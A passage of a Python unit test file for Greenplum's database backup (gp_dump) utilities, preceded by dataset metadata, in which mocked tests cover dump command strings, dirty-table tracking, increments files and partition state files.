0.103627
0
null
null
0
0.015544
null
null
0.103627
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
7
4ce0d144fd57d0744e77aab899e24cb13679a759
155,112
py
Python
gpMgmt/bin/gppylib/operations/test/unit/test_unit_dump.py
Tanzu-Solutions-Engineering/gpdb
bfc409a97c190cd21997d63cf5c5082208cd6853
[ "PostgreSQL", "Apache-2.0" ]
2
2016-07-08T10:15:24.000Z
2017-12-31T03:44:50.000Z
gpMgmt/bin/gppylib/operations/test/unit/test_unit_dump.py
Tanzu-Solutions-Engineering/gpdb
bfc409a97c190cd21997d63cf5c5082208cd6853
[ "PostgreSQL", "Apache-2.0" ]
null
null
null
gpMgmt/bin/gppylib/operations/test/unit/test_unit_dump.py
Tanzu-Solutions-Engineering/gpdb
bfc409a97c190cd21997d63cf5c5082208cd6853
[ "PostgreSQL", "Apache-2.0" ]
2
2015-11-08T15:35:58.000Z
2016-11-14T14:44:30.000Z
#!/usr/bin/env python # # Copyright (c) Greenplum Inc 2012. All Rights Reserved. # import os import shutil import time import unittest2 as unittest from datetime import datetime from gppylib.commands.base import CommandResult from gppylib.operations.backup_utils import write_lines_to_file from gppylib.operations.dump import DumpDatabase, DumpGlobal, compare_dict, create_partition_dict, \ get_dirty_heap_tables, get_filename_from_filetype,\ get_partition_list, get_partition_state, get_last_dump_timestamp, get_lines_from_file,\ get_last_state, get_last_operation_data, get_dirty_partition_tables,\ write_dirty_file, write_partition_list_file, write_dirty_file_to_temp, write_state_file,\ get_pgstatlastoperations_dict, get_tables_with_dirty_metadata, compare_metadata,\ CreateIncrementsFile, PostDumpDatabase, get_dirty_tables, validate_current_timestamp, MailEvent,\ validate_modcount, generate_dump_timestamp, get_filter_file, filter_dirty_tables, get_backup_dir, \ update_filter_file, backup_state_files_with_nbu, backup_cdatabase_file_with_nbu, backup_report_file_with_nbu, \ backup_global_file_with_nbu, backup_config_files_with_nbu, backup_report_file_with_ddboost, \ backup_increments_file_with_ddboost, copy_file_to_dd, backup_dirty_file_with_nbu, backup_increments_file_with_nbu, \ backup_partition_list_file_with_nbu, get_include_schema_list_from_exclude_schema, backup_schema_file_with_ddboost, \ update_filter_file_with_dirty_list, TIMESTAMP, TIMESTAMP_KEY, DUMP_DATE from mock import patch, MagicMock, Mock class DumpTestCase(unittest.TestCase): def setUp(self): self.dumper = DumpDatabase(dump_database='testdb', dump_schema='testschema', include_dump_tables=[], exclude_dump_tables=[], include_dump_tables_file='/tmp/table_list.txt', exclude_dump_tables_file=None, backup_dir='/data/master/p1', free_space_percent=None, compress=True, clear_catalog_dumps=False, encoding=None, output_options=[], batch_default=None, master_datadir='/data/master/p1', master_port=0, dump_dir='db_dumps', dump_prefix='', include_schema_file=None, ddboost=False, netbackup_service_host=None, netbackup_policy=None, netbackup_schedule=None, netbackup_block_size=None, netbackup_keyword=None, incremental=False) def create_backup_dirs(self, top_dir=os.getcwd(), dump_dirs=[]): if dump_dirs is None: return for dump_dir in dump_dirs: backup_dir = os.path.join(top_dir, 'db_dumps', dump_dir) if not os.path.isdir(backup_dir): os.makedirs(backup_dir) if not os.path.isdir(backup_dir): raise Exception('Failed to create directory %s' % backup_dir) def remove_backup_dirs(self, top_dir=os.getcwd(), dump_dirs=[]): if dump_dirs is None: return for dump_dir in dump_dirs: backup_dir = os.path.join(top_dir, 'db_dumps', dump_dir) shutil.rmtree(backup_dir) if os.path.isdir(backup_dir): raise Exception('Failed to remove directory %s' % backup_dir) def test00_create_dump_line_without_incremental(self): output = self.dumper.create_dump_string('dcddev', '20121212', '01234567891234') expected_output = """gp_dump -p 0 -U dcddev --gp-d=/data/master/p1/db_dumps/20121212 --gp-r=/data/master/p1/db_dumps/20121212 --gp-s=p --gp-k=01234567891234 --no-lock --gp-c --no-expand-children -n "\\"testschema\\"" testdb --table-file=/tmp/table_list.txt""" self.assertEquals(output, expected_output) @patch('gppylib.operations.dump.get_heap_partition_list', return_value=[['123', 'public', 't4'], ['123', 'public', 't5'], ['123', 'pepper', 't6']]) def test01_get_dirty_heap_tables(self, mock1): expected_output = set(['public.t4', 'public.t5', 'pepper.t6']) dirty_table_list = get_dirty_heap_tables(1234, 'testdb') self.assertEqual(dirty_table_list, expected_output) @patch('gppylib.operations.dump.get_heap_partition_list', return_value=[[], ['123', 'public', 't5'], ['123', 'public', 't6']]) def test02_get_dirty_heap_tables(self, mock1): with self.assertRaisesRegexp(Exception, 'Heap tables query returned rows with unexpected number of columns 0'): dirty_table_list = get_dirty_heap_tables(1234, 'testdb') def test02_write_dirty_file(self): dirty_tables = ['t1', 't2', 't3'] backup_dir = None timestamp_key = '20121212010101' self.create_backup_dirs(dump_dirs=['20121212']) tmpfilename = write_dirty_file(os.getcwd(), dirty_tables, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, timestamp_key) with open(tmpfilename) as tmpfile: output = tmpfile.readlines() output = map(lambda x: x.strip(), output) self.assertEqual(dirty_tables, output) os.remove(tmpfilename) self.remove_backup_dirs(dump_dirs=['20121212']) def test02a_write_dirty_file(self): dirty_tables = ['t1', 't2', 't3'] timestamp_key = '20121212010101' backup_dir = '/tmp' self.create_backup_dirs(top_dir=backup_dir, dump_dirs=['20121212']) tmpfilename = write_dirty_file('/data', dirty_tables, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, timestamp_key) with open(tmpfilename) as tmpfile: output = tmpfile.readlines() output = map(lambda x: x.strip(), output) self.assertEqual(dirty_tables, output) os.remove(tmpfilename) self.remove_backup_dirs(top_dir=backup_dir, dump_dirs=['20121212']) def test03_write_dirty_file(self): dirty_tables = None timestamp_key = '20121212010101' backup_dir = None self.create_backup_dirs(dump_dirs=['20121212']) tmpfilename = write_dirty_file(dirty_tables, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, timestamp_key) self.assertEqual(tmpfilename, None) self.remove_backup_dirs(dump_dirs=['20121212']) def test03a_write_dirty_file(self): dirty_tables = None timestamp_key = '20121212010101' backup_dir = '/tmp' self.create_backup_dirs(top_dir=backup_dir, dump_dirs=['20121212']) tmpfilename = write_dirty_file('/data', dirty_tables, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, timestamp_key) self.assertEqual(tmpfilename, None) self.remove_backup_dirs(top_dir=backup_dir, dump_dirs=['20121212']) def test04_write_dirty(self): dirty_tables = [] timestamp_key = '20121212010101' backup_dir = None self.create_backup_dirs(dump_dirs=['20121212']) tmpfilename = write_dirty_file(os.getcwd(), dirty_tables, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, timestamp_key) with open(tmpfilename) as tmpfile: output = tmpfile.readlines() output = map(lambda x: x.strip(), output) self.assertEqual(dirty_tables, output) os.remove(tmpfilename) self.remove_backup_dirs(dump_dirs=['20121212']) def test04a_write_dirty(self): dirty_tables = [] timestamp_key = '20121212010101' backup_dir = '/tmp' self.create_backup_dirs(top_dir=backup_dir, dump_dirs=['20121212']) tmpfilename = write_dirty_file(os.getcwd(), dirty_tables, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, timestamp_key) with open(tmpfilename) as tmpfile: output = tmpfile.readlines() output = map(lambda x: x.strip(), output) self.assertEqual(dirty_tables, output) os.remove(tmpfilename) self.remove_backup_dirs(top_dir=backup_dir, dump_dirs=['20121212']) @patch('gppylib.operations.dump.get_lines_from_file', return_value=['20120330120102', '20120330120103']) @patch('gppylib.operations.dump.get_incremental_ts_from_report_file', return_value='20120330120102') def test05_validate_increments_file(self, mock1, mock2): # expect no exception to die out of this CreateIncrementsFile.validate_increments_file('testdb', '/tmp/fn', '/data', None, None, None) @patch('gppylib.operations.dump.get_lines_from_file', return_value=['20120330120102', '20120330120103']) @patch('gppylib.operations.dump.get_incremental_ts_from_report_file', side_effect=Exception('invalid timestamp')) def test06_validate_increments_file(self, mock1, mock2): with self.assertRaisesRegexp(Exception, "Timestamp '20120330120102' from increments file '/tmp/fn' is not a valid increment"): CreateIncrementsFile.validate_increments_file('testdb', '/tmp/fn', '/data', None, None, None) @patch('gppylib.operations.dump.get_lines_from_file', return_value=['20120330120102', '20120330120103']) @patch('gppylib.operations.dump.get_incremental_ts_from_report_file', return_value=None) def test07_validate_increments_file(self, mock1, mock2): with self.assertRaisesRegexp(Exception, "Timestamp '20120330120102' from increments file '/tmp/fn' is not a valid increment"): CreateIncrementsFile.validate_increments_file('testdb', '/tmp/fn', '/data', None, None, None) def test08_CreateIncrementsFile_init(self): obj = CreateIncrementsFile('testdb', '20121225000000', '20121226000000', '/data', None, self.dumper.dump_dir, self.dumper.dump_prefix, False, None, None) self.assertEquals(obj.increments_filename, '/data/db_dumps/20121225/gp_dump_20121225000000_increments') def test09_CreateIncrementsFile_execute(self): obj = CreateIncrementsFile('testdb', '20121225000000', '20121226000000', '/data', None, self.dumper.dump_dir, self.dumper.dump_prefix, False, None, None) obj.increments_filename = os.path.join(os.getcwd(), 'test.increments') if os.path.isfile(obj.increments_filename): os.remove(obj.increments_filename) result = obj.execute() self.assertEquals(1, result) os.remove(obj.increments_filename) def test10_CreateIncrementsFile_execute(self): obj = CreateIncrementsFile('testdb', '20121225000000', '20121226000000', '/data', None, self.dumper.dump_dir, self.dumper.dump_prefix, False, None, None) obj.increments_filename = os.path.join(os.getcwd(), 'test.increments') with open(obj.increments_filename, 'w') as fd: fd.write('20121225100000') with self.assertRaisesRegexp(Exception, ".* is not a valid increment"): obj.execute() os.remove(obj.increments_filename) @patch('gppylib.operations.dump.CreateIncrementsFile.validate_increments_file') def test11_CreateIncrementsFile_execute(self, mock1): obj = CreateIncrementsFile('testdb', '20121225000000', '20121226000000', '/data', None, self.dumper.dump_dir, self.dumper.dump_prefix, False, None, None) obj.increments_filename = os.path.join(os.getcwd(), 'test.increments') with open(obj.increments_filename, 'w') as fd: fd.write('20121225100000\n') result = obj.execute() self.assertEquals(2, result) os.remove(obj.increments_filename) @patch('gppylib.operations.dump.get_lines_from_file', return_value=[]) def test12_CreateIncrementsFile_execute(self, mock1): obj = CreateIncrementsFile('testdb', '20121225000000', '20121226000000', '/data', None, self.dumper.dump_dir, self.dumper.dump_prefix, False, None, None) obj.increments_filename = os.path.join(os.getcwd(), 'test.increments') with self.assertRaisesRegexp(Exception, 'File not written to'): result = obj.execute() os.remove(obj.increments_filename) @patch('gppylib.operations.dump.get_lines_from_file', return_value=['20121225100000']) @patch('gppylib.operations.dump.CreateIncrementsFile.validate_increments_file') def test13_CreateIncrementsFile_execute(self, mock1, mock2): obj = CreateIncrementsFile('testdb', '20121225000000', '20121226000000', '/data', None, self.dumper.dump_dir, self.dumper.dump_prefix, False, None, None) obj.increments_filename = os.path.join(os.getcwd(), 'test.increments') with open(obj.increments_filename, 'w') as fd: fd.write('20121225100000\n') with self.assertRaisesRegexp(Exception, 'not written to'): result = obj.execute() os.remove(obj.increments_filename) @patch('gppylib.operations.dump.get_lines_from_file', return_value=['20121225100001', '20121226000000']) @patch('gppylib.operations.dump.CreateIncrementsFile.validate_increments_file') def test14_CreateIncrementsFile_execute(self, mock1, mock2): obj = CreateIncrementsFile('testdb', '20121225000000', '20121226000000', '/data', None, self.dumper.dump_dir, self.dumper.dump_prefix, False, None, None) obj.increments_filename = os.path.join(os.getcwd(), 'test.increments') with open(obj.increments_filename, 'w') as fd: fd.write('20121225100000\n') with self.assertRaisesRegexp(Exception, 'trouble adding timestamp'): result = obj.execute() os.remove(obj.increments_filename) @patch('gppylib.operations.dump.get_partition_list', return_value=[[123, 'myschema', 't1'], [4444, 'otherschema', 't2'], [992313, 'public', 't3']]) @patch('gppylib.operations.dump.generate_partition_list_filename', return_value=os.path.join(os.getcwd(), 'test')) @patch('gppylib.operations.dump.get_filter_file', return_value=None) def test_write_partition_list_file_00(self, mock1, mock2, mock3): master_datadir = 'foo' backup_dir = None timestamp_key = '01234567891234' dbname = 'bkdb' port = '5432' partition_list_file = os.path.join(os.getcwd(), 'test') write_partition_list_file(master_datadir, backup_dir, timestamp_key, port, dbname, self.dumper.dump_dir, self.dumper.dump_prefix) if not os.path.isfile(partition_list_file): raise Exception('Partition list file %s not created' % partition_list_file) with open(partition_list_file) as fd: partition_list_file_contents = fd.read() temp_list = partition_list_file_contents.splitlines() self.assertEqual(temp_list, ['myschema.t1', 'otherschema.t2', 'public.t3']) os.remove(partition_list_file) @patch('gppylib.operations.dump.get_partition_list', return_value=[]) @patch('gppylib.operations.dump.generate_partition_list_filename', return_value=os.path.join(os.getcwd(), 'test')) @patch('gppylib.operations.dump.get_filter_file', return_value=None) def test_write_partition_list_file_01(self, mock1, mock2, mock3): master_datadir = 'foo' backup_dir = None timestamp_key = '01234567891234' dbname = 'bkdb' port = '5432' partition_list_file = os.path.join(os.getcwd(), 'test') write_partition_list_file(master_datadir, backup_dir, timestamp_key, port, dbname, self.dumper.dump_dir, self.dumper.dump_prefix) if not os.path.isfile(partition_list_file): raise Exception('Partition list file %s not created' % partition_list_file) with open(partition_list_file) as fd: partition_list_file_contents = fd.read() temp_list = partition_list_file_contents.splitlines() self.assertEqual(temp_list, []) os.remove(partition_list_file) @patch('gppylib.operations.dump.get_partition_list', return_value=[['t1'], ['t2'], ['t3']]) @patch('gppylib.operations.dump.generate_partition_list_filename', return_value=os.path.join(os.getcwd(), 'test')) @patch('gppylib.operations.dump.get_filter_file', return_value=None) def test_write_partition_list_file_02(self, mock1, mock2, mock3): master_datadir = 'foo' backup_dir = None timestamp_key = '01234567891234' dbname = 'bkdb' port = '5432' partition_list_file = os.path.join(os.getcwd(), 'test') with self.assertRaisesRegexp(Exception, 'Invalid results from query to get all tables'): write_partition_list_file(master_datadir, backup_dir, timestamp_key, port, dbname, self.dumper.dump_dir, self.dumper.dump_prefix) @patch('gppylib.operations.dump.get_partition_list', return_value=[['t1', 'foo', 'koo'], ['public', 't2'], ['public', 't3']]) @patch('gppylib.operations.dump.generate_partition_list_filename', return_value=os.path.join(os.getcwd(), 'test')) @patch('gppylib.operations.dump.get_filter_file', return_value=None) def test_write_partition_list_file_03(self, mock1, mock2, mock3): master_datadir = 'foo' backup_dir = None timestamp_key = '01234567891234' dbname = 'bkdb' port = '5432' partition_list_file = os.path.join(os.getcwd(), 'test') with self.assertRaisesRegexp(Exception, 'Invalid results from query to get all tables'): write_partition_list_file(master_datadir, backup_dir, timestamp_key, port, dbname, self.dumper.dump_dir, self.dumper.dump_prefix) @patch('gppylib.operations.dump.get_partition_list', return_value=[['t1', 'foo', 'koo'], ['public', 't2'], ['public', 't3']]) @patch('gppylib.operations.dump.generate_partition_list_filename', return_value=os.path.join(os.getcwd(), 'test')) @patch('gppylib.operations.dump.get_filter_file', return_value='/foo') @patch('gppylib.operations.dump.get_lines_from_file', return_value=['public.t1', 'public.t2']) @patch('gppylib.operations.backup_utils.get_lines_from_file', return_value=['public.t3', 'public.t2']) @patch('shutil.copyfile') def test_write_partition_list_file_04(self, mock1, mock2, mock3, mock4, mock5, mock6): master_datadir = 'foo' backup_dir = None timestamp_key = '01234567891234' dbname = 'bkdb' port = '5432' partition_list_file = os.path.join(os.getcwd(), 'test') with self.assertRaisesRegexp(Exception, 'After writing file .* contents not as expected, suspected IO error'): write_partition_list_file(master_datadir, backup_dir, timestamp_key, port, dbname, self.dumper.dump_dir, self.dumper.dump_prefix) def test_dirty_file_to_temp_00(self): dirty_tables = ['public.t1', 'public.t2', 'pepper.t3'] dirty_file = write_dirty_file_to_temp(dirty_tables) self.assertTrue(os.path.basename(dirty_file).startswith('dirty_backup_list')) self.assertTrue(os.path.isfile(dirty_file)) content = get_lines_from_file(dirty_file) self.assertEqual(dirty_tables, content) os.remove(dirty_file) def test_dirty_file_to_temp_01(self): dirty_tables = [''] dirty_file = write_dirty_file_to_temp(dirty_tables) self.assertTrue(os.path.basename(dirty_file).startswith('dirty_backup_list')) self.assertTrue(os.path.isfile(dirty_file)) content = get_lines_from_file(dirty_file) self.assertEqual(dirty_tables, content) os.remove(dirty_file) def test_dirty_file_to_temp_02(self): dirty_tables = [''] dirty_file = write_dirty_file_to_temp(dirty_tables) self.assertTrue(os.path.basename(dirty_file).startswith('dirty_backup_list')) self.assertTrue(os.path.isfile(dirty_file)) content = get_lines_from_file(dirty_file) self.assertEqual(dirty_tables, content) os.remove(dirty_file) def test_create_dump_outcome_00(self): start = datetime(2012, 7, 31, 9, 30, 00) end = datetime(2012, 8, 1, 12, 21, 11) rc = 5 expected_outcome = {'timestamp_start': '20120731093000', 'time_start': '09:30:00', 'time_end': '12:21:11', 'exit_status': 5} outcome = self.dumper.create_dump_outcome(start, end, rc) self.assertTrue(expected_outcome == outcome) def test_get_report_dir00(self): pdd = PostDumpDatabase(timestamp_start=None, compress=None, backup_dir='/tmp', batch_default=None, master_datadir='/master', master_port=None, dump_dir='db_dumps', dump_prefix='', ddboost=None, netbackup_service_host=None, incremental=False) self.assertEquals(pdd.get_report_dir('20120930'), '/tmp/db_dumps/20120930') def test_get_report_dir01(self): pdd = PostDumpDatabase(timestamp_start=None, compress=None, backup_dir=None, batch_default=None, master_datadir='/master', master_port=None, dump_dir='db_dumps', dump_prefix='', ddboost=None, netbackup_service_host=None, incremental=False) self.assertEquals(pdd.get_report_dir('20120930'), '/master/db_dumps/20120930') @patch('gppylib.operations.dump.ValidateDumpDatabase.run') @patch('gppylib.operations.dump.Command.run') @patch('gppylib.operations.dump.Command.get_results', return_value=CommandResult(0, "", "", True, False)) @patch('gppylib.operations.dump.DumpDatabase.create_filter_file') def test_execute_00(self, mock1, mock2, mock3, mock4): self.dumper.execute() # should not raise any exceptions @patch('gppylib.operations.dump.dbconn.DbURL') @patch('gppylib.operations.dump.dbconn.connect') @patch('gppylib.operations.dump.execSQLForSingleton', return_value='100') def test_get_partition_state_00(self, mock1, mock2, mock3): master_port=5432 dbname='testdb' partition_info = [(123, 'pepper', 't1', 4444), (234, 'pepper', 't2', 5555)] expected_output = ['pepper, t1, 100', 'pepper, t2, 100'] result = get_partition_state(master_port, dbname, 'pg_aoseg', partition_info) self.assertEqual(result, expected_output) @patch('gppylib.operations.dump.dbconn.DbURL') @patch('gppylib.operations.dump.dbconn.connect') def test_get_partition_state_01(self, mock1, mock2): master_port=5432 dbname='testdb' partition_info = [] expected_output = [] result = get_partition_state(master_port, dbname, 'pg_aoseg', partition_info) self.assertEqual(result, expected_output) @patch('gppylib.operations.dump.dbconn.DbURL') @patch('gppylib.operations.dump.dbconn.connect') @patch('gppylib.operations.dump.execSQLForSingleton', return_value='10000000000000000') def test_get_partition_state_02(self, mock1, mock2, mock3): master_port=5432 dbname='testdb' partition_info = [(123, 'pepper', 't1', 4444), (234, 'pepper', 't2', 5555)] expected_output = ['pepper, t1, 10000000000000000', 'pepper, t2, 10000000000000000'] with self.assertRaisesRegexp(Exception, 'Exceeded backup max tuple count of 1 quadrillion rows per table for:'): get_partition_state(master_port, dbname, 'pg_aoseg', partition_info) @patch('gppylib.operations.dump.dbconn.DbURL') @patch('gppylib.operations.dump.dbconn.connect') @patch('gppylib.operations.dump.execSQLForSingleton', return_value='100') def test_get_partition_state_with_more_than_thousand_partition(self, mock1, mock2, mock3): master_port=5432 dbname='testdb' partition_info = [(123, 'pepper', 't1', 4444), (234, 'pepper', 't2', 5555)] * 1000 expected_output = ['pepper, t1, 100', 'pepper, t2, 100'] * 1000 result = get_partition_state(master_port, dbname, 'pg_aoseg', partition_info) self.assertEqual(result, expected_output) def test_get_filename_from_filetype_00(self): table_type = 'ao' master_datadir = 'foo' backup_dir = None timestamp_key = '20121212010101' self.create_backup_dirs(dump_dirs=['20121212']) expected_output = '%s/db_dumps/20121212/gp_dump_%s_ao_state_file' % (master_datadir, timestamp_key) result = get_filename_from_filetype(table_type, master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, timestamp_key) self.assertEqual(result, expected_output) self.remove_backup_dirs(dump_dirs=['20121212']) def test_get_filename_from_filetype_01(self): table_type = 'co' master_datadir = 'foo' backup_dir = None timestamp_key = '20121212010101' self.create_backup_dirs(dump_dirs=['20121212']) expected_output = '%s/db_dumps/20121212/gp_dump_%s_co_state_file' % (master_datadir, timestamp_key) result = get_filename_from_filetype(table_type, master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, timestamp_key) self.assertEqual(result, expected_output) self.remove_backup_dirs(dump_dirs=['20121212']) def test_get_filename_from_filetype_01_with_ddboost(self): table_type = 'ao' master_datadir = 'foo' backup_dir = None timestamp_key = '20121212010101' self.create_backup_dirs(dump_dirs=['20121212']) ddboost = True dump_dir = 'backup/DCA-35' expected_output = 'foo/backup/DCA-35/20121212/gp_dump_%s_ao_state_file' % (timestamp_key) result = get_filename_from_filetype(table_type, master_datadir, backup_dir, dump_dir, self.dumper.dump_prefix, timestamp_key, ddboost) self.assertEqual(result, expected_output) self.remove_backup_dirs(dump_dirs=['20121212']) def test_get_filename_from_filetype_02(self): table_type = 'foo' master_datadir = '/foo' backup_dir = None timestamp_key = '20121212010101' with self.assertRaisesRegexp(Exception, 'Invalid table type *'): get_filename_from_filetype(table_type, master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, timestamp_key) def test_get_filename_from_filetype_02_with_ddboost(self): table_type = 'co' master_datadir = 'foo' backup_dir = None timestamp_key = '20121212010101' self.create_backup_dirs(dump_dirs=['20121212']) ddboost = True dump_dir = 'backup/DCA-35' expected_output = 'foo/backup/DCA-35/20121212/gp_dump_%s_co_state_file' % (timestamp_key) result = get_filename_from_filetype(table_type, master_datadir, backup_dir, dump_dir, self.dumper.dump_prefix, timestamp_key, ddboost) self.assertEqual(result, expected_output) self.remove_backup_dirs(dump_dirs=['20121212']) def test_write_state_file_00(self): table_type = 'foo' master_datadir = '/foo' backup_dir = None timestamp_key = '20121212010101' partition_list = ['pepper, t1, 100', 'pepper, t2, 100'] with self.assertRaisesRegexp(Exception, 'Invalid table type *'): write_state_file(table_type, master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, partition_list) @patch('gppylib.operations.dump.get_filename_from_filetype', return_value='/tmp/db_dumps/20121212/gp_dump_20121212010101_ao_state_file') def test_write_state_file_01(self, mock1): table_type = 'ao' master_datadir = 'foo' backup_dir = None timestamp_key = '20121212010101' partition_list = ['pepper, t1, 100', 'pepper, t2, 100'] self.create_backup_dirs(top_dir='/tmp', dump_dirs=['20121212']) write_state_file(table_type, master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, partition_list) if not os.path.isfile('/tmp/db_dumps/20121212/gp_dump_20121212010101_ao_state_file'): raise Exception('AO state file was not created successfully') self.remove_backup_dirs(top_dir='/tmp', dump_dirs=['20121212']) @patch('gppylib.operations.dump.execute_sql', return_value=[['public', 'ao_table', 123, 'CREATE', 'table', '2012: 1'], ['pepper', 'co_table', 333, 'TRUNCATE', '', '2033 :1 - 111']]) def test_get_last_operation_data_00(self, mock): output = get_last_operation_data(1, 'foodb') expected = ['public,ao_table,123,CREATE,table,2012: 1', 'pepper,co_table,333,TRUNCATE,,2033 :1 - 111'] self.assertEquals(output, expected) @patch('gppylib.operations.dump.execute_sql', return_value=[]) def test_get_last_operation_data_01(self, mock): output = get_last_operation_data(1, 'foodb') expected = [] self.assertEquals(output, expected) @patch('gppylib.operations.dump.execute_sql', return_value=[[123, 'table', '2012: 1'], [333, 'TRUNCATE', '', '2033 :1 - 111']]) def test_get_last_operation_data_02(self, mock): with self.assertRaisesRegexp(Exception, 'Invalid return from query'): get_last_operation_data(1, 'foodb') @patch('gppylib.operations.dump.get_last_dump_timestamp', return_value='20121212121212') @patch('gppylib.operations.dump.os.path.isfile', return_value=True) @patch('gppylib.operations.dump.get_lines_from_file', return_value=['pepper, t1, 100', 'pepper, t2, 100']) def test_get_last_state_00(self, mock1, mock2, mock3): table_type = 'ao' master_datadir = 'foo' backup_dir = None full_timestamp = '20121212010101' expected_output = ['pepper, t1, 100', 'pepper, t2, 100'] output = get_last_state(table_type, master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp) self.assertEqual(output, expected_output) @patch('gppylib.operations.dump.get_last_dump_timestamp', return_value='20121212121212') @patch('gppylib.operations.dump.os.path.isfile', return_value=False) @patch('gppylib.operations.dump.generate_ao_state_filename', return_value='foo') def test_get_last_state_01(self, mock1, mock2, mock3): table_type = 'ao' master_datadir = '/foo' backup_dir = None full_timestamp = '20121212010101' with self.assertRaisesRegexp(Exception, 'ao state file does not exist: foo'): get_last_state(table_type, master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp) @patch('gppylib.operations.dump.get_last_dump_timestamp', return_value='20121212121212') @patch('gppylib.operations.dump.os.path.isfile', return_value=True) @patch('gppylib.operations.dump.get_lines_from_file', return_value=[]) def test_get_last_state_02(self, mock1, mock2, mock3): table_type = 'ao' master_datadir = 'foo' backup_dir = None full_timestamp = '20121212010101' expected_output = [] output = get_last_state(table_type, master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp) self.assertEqual(output, expected_output) @patch('gppylib.operations.dump.get_last_dump_timestamp', return_value='20121212121212') @patch('gppylib.operations.dump.os.path.isfile', return_value=True) @patch('gppylib.operations.dump.get_lines_from_file', return_value=[]) @patch('gppylib.operations.dump.check_file_dumped_with_nbu', return_value=True) @patch('gppylib.operations.dump.restore_file_with_nbu') def test_get_last_state_03(self, mock1, mock2, mock3, mock4, mock5): table_type = 'ao' master_datadir = 'foo' backup_dir = None full_timestamp = '20121212010101' netbackup_service_host = "mdw" netbackup_block_size = "1024" expected_output = [] output = get_last_state(table_type, master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, netbackup_service_host, netbackup_block_size) self.assertEqual(output, expected_output) def test_compare_dict_00(self): last_dict = {'pepper.t1':'100', 'pepper.t2':'200'} curr_dict = {'pepper.t1':'200', 'pepper.t2':'200'} expected_output = set(['pepper.t1']) result = compare_dict(last_dict, curr_dict) self.assertEqual(result, expected_output) def test_compare_dict_01(self): last_dict = {'pepper.t1':'100', 'pepper.t2':'200', 'pepper.t3':'300'} curr_dict = {'pepper.t1':'100', 'pepper.t2':'100'} expected_output = set(['pepper.t2']) result = compare_dict(last_dict, curr_dict) self.assertEqual(result, expected_output) def test_compare_dict_02(self): last_dict = {'pepper.t1':'100', 'pepper.t2':'200'} curr_dict = {'pepper.t1':'100', 'pepper.t2':'200', 'pepper.t3':'300'} expected_output = set(['pepper.t3']) result = compare_dict(last_dict, curr_dict) self.assertEqual(result, expected_output) def test_compare_dict_03(self): last_dict = {'pepper.t1':'100', 'pepper.t2':'200'} curr_dict = {'pepper.t1':'100', 'pepper.t2':'200'} expected_output = set([]) result = compare_dict(last_dict, curr_dict) self.assertEqual(result, expected_output) def test_create_partition_dict_00(self): partition_list = ['pepper, t1, 100', 'pepper, t2, 200'] expected_output = {'pepper.t1':'100', 'pepper.t2':'200'} result = create_partition_dict(partition_list) self.assertEqual(result, expected_output) def test_create_partition_dict_01(self): partition_list = [] expected_output = {} result = create_partition_dict(partition_list) self.assertEqual(result, expected_output) def test_create_partition_dict_02(self): partition_list = ['pepper t1 100'] with self.assertRaisesRegexp(Exception, 'Invalid state file format *'): create_partition_dict(partition_list) @patch('gppylib.operations.dump.generate_increments_filename') @patch('gppylib.operations.dump.os.path.isdir', return_value=False) @patch('gppylib.operations.dump.os.path.isfile', return_value=False) def test_get_last_dump_timestamp_00(self, mock1, mock2, mock3): master_datadir = '/foo' backup_dir = None full_timestamp = '20121212010101' result = get_last_dump_timestamp(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp) self.assertEqual(result, full_timestamp) @patch('gppylib.operations.dump.get_lines_from_file', return_value=['20121212121210', '20121212121211']) @patch('gppylib.operations.dump.generate_increments_filename') @patch('gppylib.operations.dump.os.path.isdir', return_value=True) @patch('gppylib.operations.dump.os.path.isfile', return_value=True) def test_get_last_dump_timestamp_01(self, mock1, mock2, mock3, mock4): master_datadir = 'foo' backup_dir = None full_timestamp = '20121212010101' expected_output = '20121212121211' result = get_last_dump_timestamp(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp) self.assertEqual(result, expected_output) @patch('gppylib.operations.dump.generate_increments_filename') @patch('gppylib.operations.dump.os.path.isdir', return_value=True) @patch('gppylib.operations.dump.os.path.isfile', return_value=True) @patch('gppylib.operations.dump.get_lines_from_file', return_value=['2012093009300q']) def test_get_last_dump_timestamp_02(self, mock1, mock2, mock3, mock4): master_datadir = 'foo' backup_dir = None full_timestamp = '20121212010101' expected = '20120930093000' with self.assertRaisesRegexp(Exception, 'get_last_dump_timestamp found invalid ts in file'): get_last_dump_timestamp(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp) @patch('gppylib.operations.dump.generate_increments_filename') @patch('gppylib.operations.dump.os.path.isdir', return_value=True) @patch('gppylib.operations.dump.os.path.isfile', return_value=True) @patch('gppylib.operations.dump.get_lines_from_file', return_value=[' 20120930093000 \n \n ']) def test_get_last_dump_timestamp_03(self, mock1, mock2, mock3, mock4): master_datadir = 'foo' backup_dir = None full_timestamp = '20121212010101' expected = '20120930093000' result = get_last_dump_timestamp(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp) self.assertEqual(result, expected) @patch('gppylib.operations.dump.generate_increments_filename') @patch('gppylib.operations.dump.get_lines_from_file', return_value=[' 20120930093000 \n \n ']) @patch('gppylib.operations.dump.check_file_dumped_with_nbu', return_value=True) @patch('gppylib.operations.dump.restore_file_with_nbu') @patch('gppylib.operations.dump.os.path.exists', return_value=True) def test_get_last_dump_timestamp_04(self, mock1, mock2, 